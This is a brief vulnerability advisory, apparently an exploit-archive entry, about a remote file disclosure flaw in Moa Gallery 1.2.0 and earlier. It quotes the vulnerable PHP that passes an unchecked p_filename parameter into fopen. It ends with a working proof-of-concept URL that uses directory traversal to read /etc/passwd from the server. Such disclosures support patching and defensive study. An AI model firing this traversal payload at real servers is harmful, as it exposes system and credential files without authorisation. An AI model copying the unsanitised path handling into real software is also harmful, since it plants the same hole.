Moa Gallery versions 1.2.0 and below suffer form a remote file disclosure vulnerability.
ebe84fa16df2febf9af5c6fbb5e7bb718d1de30bafd790d1b881c96eb4314a94
Moa Gallery <= 1.2.0 Remote File Disclosure Vulnerability
Code In sources\_template_parser.php
$filename = $MOA_PATH."templates/".$template_name."/".$p_filename;
$fp = @fopen($filename, "r");
if ((!$fp) && (is_bool($fp)))
{
$fp = $fp = @fopen($MOA_PATH."templates/MoaDefault/".$p_filename, "r");
POC
/sources/_template_parser.php?p_filename=../../../../../../../../../../../../../../../etc/passwd